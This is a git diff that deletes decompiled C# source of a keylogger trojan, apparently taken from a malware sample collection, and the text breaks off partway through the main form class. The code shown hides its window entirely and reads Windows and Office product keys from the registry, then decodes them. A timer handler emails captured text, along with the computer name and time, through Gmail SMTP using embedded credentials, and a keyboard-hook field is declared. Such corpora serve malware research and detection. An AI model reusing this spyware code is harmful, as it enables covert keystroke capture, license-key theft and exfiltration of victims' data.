"Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.csproj", "{C7B9D883-C3C1-4CA4-89B7-D6EFF6B7C91E}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C7B9D883-C3C1-4CA4-89B7-D6EFF6B7C91E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C7B9D883-C3C1-4CA4-89B7-D6EFF6B7C91E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C7B9D883-C3C1-4CA4-89B7-D6EFF6B7C91E}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C7B9D883-C3C1-4CA4-89B7-D6EFF6B7C91E}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0001.cs deleted file mode 100644 index 8462dd78..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0001.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using \u0002; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace \u0001 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class \u0001 : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void \u0002(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0001.Application.Run(Args); - } - - [DebuggerStepThrough] - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0001.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0002.cs deleted file mode 100644 index b44d8955..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0001/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0001 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class \u0002 : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0001.cs deleted file mode 100644 index fb72fdbe..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0001.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0002 -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class \u0001 - { - private static readonly \u0002.\u0001.\u0003<\u0001.\u0002> \u0001 = new \u0002.\u0001.\u0003<\u0001.\u0002>(); - private static readonly \u0002.\u0001.\u0003<\u0001.\u0001> \u0001 = new \u0002.\u0001.\u0003<\u0001.\u0001>(); - private static readonly \u0002.\u0001.\u0003 \u0001 = new \u0002.\u0001.\u0003(); - private static \u0002.\u0001.\u0003<\u0002.\u0001.\u0001> \u0001 = new \u0002.\u0001.\u0003<\u0002.\u0001.\u0001>(); - private static readonly \u0002.\u0001.\u0003<\u0002.\u0001.\u0002> \u0001 = new \u0002.\u0001.\u0003<\u0002.\u0001.\u0002>(); - - [DebuggerNonUserCode] - static \u0001() - { - } - - [HelpKeyword("My.Computer")] - internal static \u0001.\u0002 Computer - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001.\u0001 Application - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static \u0002.\u0001.\u0001 Forms - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0002.\u0001.\u0002 WebServices - { - [DebuggerHidden] get => \u0002.\u0001.\u0001.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 - { - public \u0003.\u0002 \u0001; - [ThreadStatic] - private static Hashtable \u0001; - - public \u0003.\u0002 Form1 - { - [DebuggerNonUserCode] get - { - this.\u0001 = \u0002.\u0001.\u0001.\u0002<\u0003.\u0002>(this.\u0001); - return this.\u0001; - } - [DebuggerNonUserCode] set - { - if (value == this.\u0001) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.\u0002<\u0003.\u0002>(ref this.\u0001); - } - } - - [DebuggerHidden] - private static T \u0002(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (\u0002.\u0001.\u0001.\u0001 != null) - { - if (\u0002.\u0001.\u0001.\u0001.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - \u0002.\u0001.\u0001.\u0001 = new Hashtable(); - \u0002.\u0001.\u0001.\u0001.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0002.\u0001.\u0001.\u0001.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void \u0002(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0001() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0002.\u0001.\u0001); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0002.\u0001.\u0002); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0002(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void \u0002(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0002() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0002.\u0001.\u0003.\u0001 == null) - \u0002.\u0001.\u0003.\u0001 = new T(); - return \u0002.\u0001.\u0003.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0003() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0002.cs deleted file mode 100644 index 6497a652..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0002/_0002.cs +++ /dev/null @@ -1,122 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System.Collections; -using System.Diagnostics; - -namespace \u0002 -{ - internal class \u0002 - { - [DebuggerNonUserCode] - public \u0002() - { - } - - public static byte[] \u0002(\u0002.\u0002.\u0001 key) - { - byte[] numArray1 = (byte[]) null; - RegistryKey registryKey = (RegistryKey) null; - switch (key) - { - case \u0002.\u0002.\u0001.\u0001: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false); - break; - case \u0002.\u0002.\u0001.\u0002: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\11.0\\Registration\\{90110409-6000-11D3-8CFE-0150048383C9}", false); - break; - case \u0002.\u0002.\u0001.\u0003: - registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-002F-0000-0000-0000000FF1CE}", false); - break; - } - if (registryKey != null) - { - byte[] numArray2 = registryKey.GetValue("DigitalProductId") as byte[]; - registryKey.Close(); - return numArray2; - } - if (registryKey == null) - numArray1 = (byte[]) null; - return numArray1; - } - - public static string \u0002(byte[] digitalProductId) - { - if (digitalProductId == null) - return ""; - char[] chArray1 = new char[24] - { - 'B', - 'C', - 'D', - 'F', - 'G', - 'H', - 'J', - 'K', - 'M', - 'P', - 'Q', - 'R', - 'T', - 'V', - 'W', - 'X', - 'Y', - '2', - '3', - '4', - '6', - '7', - '8', - '9' - }; - char[] chArray2 = new char[29]; - ArrayList arrayList = new ArrayList(); - int index1 = 52; - do - { - arrayList.Add((object) digitalProductId[index1]); - checked { ++index1; } - } - while (index1 <= 67); - int index2 = 28; - do - { - if (checked (index2 + 1) % 6 == 0) - { - chArray2[index2] = '-'; - } - else - { - int index3 = 0; - int index4 = 14; - do - { - int num = index3 << 8 | (int) Conversions.ToByte(arrayList[index4]); - arrayList[index4] = (object) checked ((byte) unchecked (num / 24)); - index3 = num % 24; - chArray2[index2] = chArray1[index3]; - checked { index4 += -1; } - } - while (index4 >= 0); - } - checked { index2 += -1; } - } - while (index2 >= 0); - return new string(chArray2); - } - - internal enum \u0001 - { - \u0001, - \u0002, - \u0003, - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0001.cs deleted file mode 100644 index bb21830e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0001.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using \u0003; -using System; -using System.Windows.Forms; - -namespace \u0003 -{ - internal sealed class \u0001 - { - private \u0001() - { - } - - [STAThread] - public static void \u0002() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new \u0002()); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.cs deleted file mode 100644 index 573a76e2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/_0003/_0002.cs +++ /dev/null @@ -1,2292 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using \u0002; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -namespace \u0003 -{ - [DesignerGenerated] - internal class \u0002 : Form - { - private IContainer \u0001; - [AccessedThroughProperty("lblnumb")] - private Label \u0001; - [AccessedThroughProperty("TextBox14")] - private TextBox \u0001; - [AccessedThroughProperty("TextBox10")] - private TextBox \u0002; - [AccessedThroughProperty("txtWin")] - private TextBox \u0003; - [AccessedThroughProperty("TextBox7")] - private TextBox \u0004; - [AccessedThroughProperty("TextBox6")] - private TextBox \u0005; - [AccessedThroughProperty("TextBox5")] - private TextBox \u0006; - [AccessedThroughProperty("TextBox4")] - private TextBox \u0007; - [AccessedThroughProperty("TextBox3")] - private TextBox \u0008; - [AccessedThroughProperty("TextBox2")] - private TextBox \u000E; - [AccessedThroughProperty("TextBox1")] - private TextBox \u000F; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer \u0001; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer \u0002; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer \u0003; - [AccessedThroughProperty("Timer4")] - private System.Windows.Forms.Timer \u0004; - [AccessedThroughProperty("Timer5")] - private System.Windows.Forms.Timer \u0005; - private string[] \u0001; - private string \u0001; - private string \u0002; - private string \u0003; - private string \u0004; - private string \u0005; - private string \u0006; - private string \u0007; - private string \u0008; - private string \u000E; - private string \u000F; - private string \u0010; - private string \u0011; - private string \u0012; - private string \u0013; - private string \u0014; - private string \u0015; - private string \u0016; - private string \u0017; - private string \u0018; - private string \u0019; - private string \u001A; - private string \u001B; - private string \u001C; - private string \u001D; - private string \u001E; - private string \u001F; - private string \u007F; - private string \u0080; - private string \u0081; - private string \u0082; - private string \u0083; - private const string \u0084 = "@JTR"; - private string \u0086; - private string \u0087; - private WebClient \u0001; - private string \u0088; - [AccessedThroughProperty("HKB")] - private \u0003.\u0002.\u0001 \u0001; - private string \u0089; - - public \u0002() - { - this.Load += new EventHandler(this.\u0004); - this.\u0086 = \u0001.Computer.Name + "--" + Conversions.ToString(DateAndTime.TimeOfDay); - this.\u0001 = new WebClient(); - this.HKB = new \u0003.\u0002.\u0001(); - this.\u0089 = (string) null; - this.\u0002(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0002() - { - this.\u0001 = (IContainer) new System.ComponentModel.Container(); - this.lblnumb = new Label(); - this.TextBox14 = new TextBox(); - this.TextBox10 = new TextBox(); - this.txtWin = new TextBox(); - this.TextBox7 = new TextBox(); - this.TextBox6 = new TextBox(); - this.TextBox5 = new TextBox(); - this.TextBox4 = new TextBox(); - this.TextBox3 = new TextBox(); - this.TextBox2 = new TextBox(); - this.TextBox1 = new TextBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer2 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer3 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer4 = new System.Windows.Forms.Timer(this.\u0001); - this.Timer5 = new System.Windows.Forms.Timer(this.\u0001); - this.SuspendLayout(); - this.lblnumb.AutoSize = true; - Label lblnumb1 = this.lblnumb; - Point point1 = new Point((int) sbyte.MaxValue, 57); - Point point2 = point1; - lblnumb1.Location = point2; - this.lblnumb.Name = "lblnumb"; - Label lblnumb2 = this.lblnumb; - Size size1 = new Size(39, 13); - Size size2 = size1; - lblnumb2.Size = size2; - this.lblnumb.TabIndex = 21; - this.lblnumb.Text = "Label1"; - TextBox textBox14_1 = this.TextBox14; - point1 = new Point(114, 236); - Point point3 = point1; - textBox14_1.Location = point3; - this.TextBox14.Name = "TextBox14"; - TextBox textBox14_2 = this.TextBox14; - size1 = new Size(10, 20); - Size size3 = size1; - textBox14_2.Size = size3; - this.TextBox14.TabIndex = 20; - TextBox textBox10_1 = this.TextBox10; - point1 = new Point(116, 210); - Point point4 = point1; - textBox10_1.Location = point4; - this.TextBox10.Name = "TextBox10"; - TextBox textBox10_2 = this.TextBox10; - size1 = new Size(8, 20); - Size size4 = size1; - textBox10_2.Size = size4; - this.TextBox10.TabIndex = 19; - TextBox txtWin1 = this.txtWin; - point1 = new Point(116, 184); - Point point5 = point1; - txtWin1.Location = point5; - this.txtWin.Name = "txtWin"; - TextBox txtWin2 = this.txtWin; - size1 = new Size(10, 20); - Size size5 = size1; - txtWin2.Size = size5; - this.txtWin.TabIndex = 18; - TextBox textBox7_1 = this.TextBox7; - point1 = new Point(116, 158); - Point point6 = point1; - textBox7_1.Location = point6; - this.TextBox7.Name = "TextBox7"; - TextBox textBox7_2 = this.TextBox7; - size1 = new Size(10, 20); - Size size6 = size1; - textBox7_2.Size = size6; - this.TextBox7.TabIndex = 17; - this.TextBox7.Text = "C:\\WINDOWS\\system32\\1025"; - TextBox textBox6_1 = this.TextBox6; - point1 = new Point(116, 132); - Point point7 = point1; - textBox6_1.Location = point7; - this.TextBox6.Name = "TextBox6"; - TextBox textBox6_2 = this.TextBox6; - size1 = new Size(10, 20); - Size size7 = size1; - textBox6_2.Size = size7; - this.TextBox6.TabIndex = 16; - this.TextBox6.Text = "1"; - TextBox textBox5_1 = this.TextBox5; - point1 = new Point(116, 106); - Point point8 = point1; - textBox5_1.Location = point8; - this.TextBox5.Name = "TextBox5"; - TextBox textBox5_2 = this.TextBox5; - size1 = new Size(10, 20); - Size size8 = size1; - textBox5_2.Size = size8; - this.TextBox5.TabIndex = 15; - this.TextBox5.Text = ".gif"; - TextBox textBox4_1 = this.TextBox4; - point1 = new Point(116, 80); - Point point9 = point1; - textBox4_1.Location = point9; - this.TextBox4.Name = "TextBox4"; - TextBox textBox4_2 = this.TextBox4; - size1 = new Size(10, 20); - Size size9 = size1; - textBox4_2.Size = size9; - this.TextBox4.TabIndex = 14; - TextBox textBox3_1 = this.TextBox3; - point1 = new Point(116, 54); - Point point10 = point1; - textBox3_1.Location = point10; - this.TextBox3.Name = "TextBox3"; - TextBox textBox3_2 = this.TextBox3; - size1 = new Size(10, 20); - Size size10 = size1; - textBox3_2.Size = size10; - this.TextBox3.TabIndex = 13; - TextBox textBox2_1 = this.TextBox2; - point1 = new Point(116, 28); - Point point11 = point1; - textBox2_1.Location = point11; - this.TextBox2.Name = "TextBox2"; - TextBox textBox2_2 = this.TextBox2; - size1 = new Size(10, 20); - Size size11 = size1; - textBox2_2.Size = size11; - this.TextBox2.TabIndex = 12; - TextBox textBox1_1 = this.TextBox1; - point1 = new Point(149, 6); - Point point12 = point1; - textBox1_1.Location = point12; - this.TextBox1.Multiline = true; - this.TextBox1.Name = "TextBox1"; - TextBox textBox1_2 = this.TextBox1; - size1 = new Size(22, 10); - Size size12 = size1; - textBox1_2.Size = size12; - this.TextBox1.TabIndex = 11; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(10, 10); - this.ClientSize = size1; - this.Controls.Add((Control) this.lblnumb); - this.Controls.Add((Control) this.TextBox14); - this.Controls.Add((Control) this.TextBox10); - this.Controls.Add((Control) this.txtWin); - this.Controls.Add((Control) this.TextBox7); - this.Controls.Add((Control) this.TextBox6); - this.Controls.Add((Control) this.TextBox5); - this.Controls.Add((Control) this.TextBox4); - this.Controls.Add((Control) this.TextBox3); - this.Controls.Add((Control) this.TextBox2); - this.Controls.Add((Control) this.TextBox1); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "Form1"; - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual Label lblnumb - { - [DebuggerNonUserCode] get => this.\u0001; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0001 = value; - } - - internal virtual TextBox TextBox14 - { - [DebuggerNonUserCode] get => this.\u0001; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0001 = value; - } - - internal virtual TextBox TextBox10 - { - [DebuggerNonUserCode] get => this.\u0002; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0002 = value; - } - - internal virtual TextBox txtWin - { - [DebuggerNonUserCode] get => this.\u0003; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0003 = value; - } - - internal virtual TextBox TextBox7 - { - [DebuggerNonUserCode] get => this.\u0004; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0004 = value; - } - - internal virtual TextBox TextBox6 - { - [DebuggerNonUserCode] get => this.\u0005; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0005 = value; - } - - internal virtual TextBox TextBox5 - { - [DebuggerNonUserCode] get => this.\u0006; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0006 = value; - } - - internal virtual TextBox TextBox4 - { - [DebuggerNonUserCode] get => this.\u0007; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0007 = value; - } - - internal virtual TextBox TextBox3 - { - [DebuggerNonUserCode] get => this.\u0008; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u0008 = value; - } - - internal virtual TextBox TextBox2 - { - [DebuggerNonUserCode] get => this.\u000E; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u000E = value; - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this.\u000F; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this.\u000F = value; - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this.\u0001; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0002); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = value; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this.\u0002; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0003); - if (this.\u0002 != null) - this.\u0002.Tick -= eventHandler; - this.\u0002 = value; - if (this.\u0002 == null) - return; - this.\u0002.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this.\u0003; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0005); - if (this.\u0003 != null) - this.\u0003.Tick -= eventHandler; - this.\u0003 = value; - if (this.\u0003 == null) - return; - this.\u0003.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer4 - { - [DebuggerNonUserCode] get => this.\u0004; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0006); - if (this.\u0004 != null) - this.\u0004.Tick -= eventHandler; - this.\u0004 = value; - if (this.\u0004 == null) - return; - this.\u0004.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer5 - { - [DebuggerNonUserCode] get => this.\u0005; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.\u0007); - if (this.\u0005 != null) - this.\u0005.Tick -= eventHandler; - this.\u0005 = value; - if (this.\u0005 == null) - return; - this.\u0005.Tick += eventHandler; - } - } - - private void \u0002(object sender, EventArgs e) - { - new SmtpClient("smtp.gmail.com") - { - Port = 587, - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)) - }.Send(new MailMessage() - { - Subject = \u0001.Computer.Name + ":", - To = { - this.TextBox2.Text - }, - From = new MailAddress(this.TextBox2.Text), - Body = this.TextBox1.Text + "Saat : " + Conversions.ToString(DateAndTime.TimeOfDay) + " Tarih :" + DateAndTime.DateString - }); - this.TextBox1.Clear(); - } - - private virtual \u0003.\u0002.\u0001 HKB - { - [DebuggerNonUserCode] get => this.\u0001; - 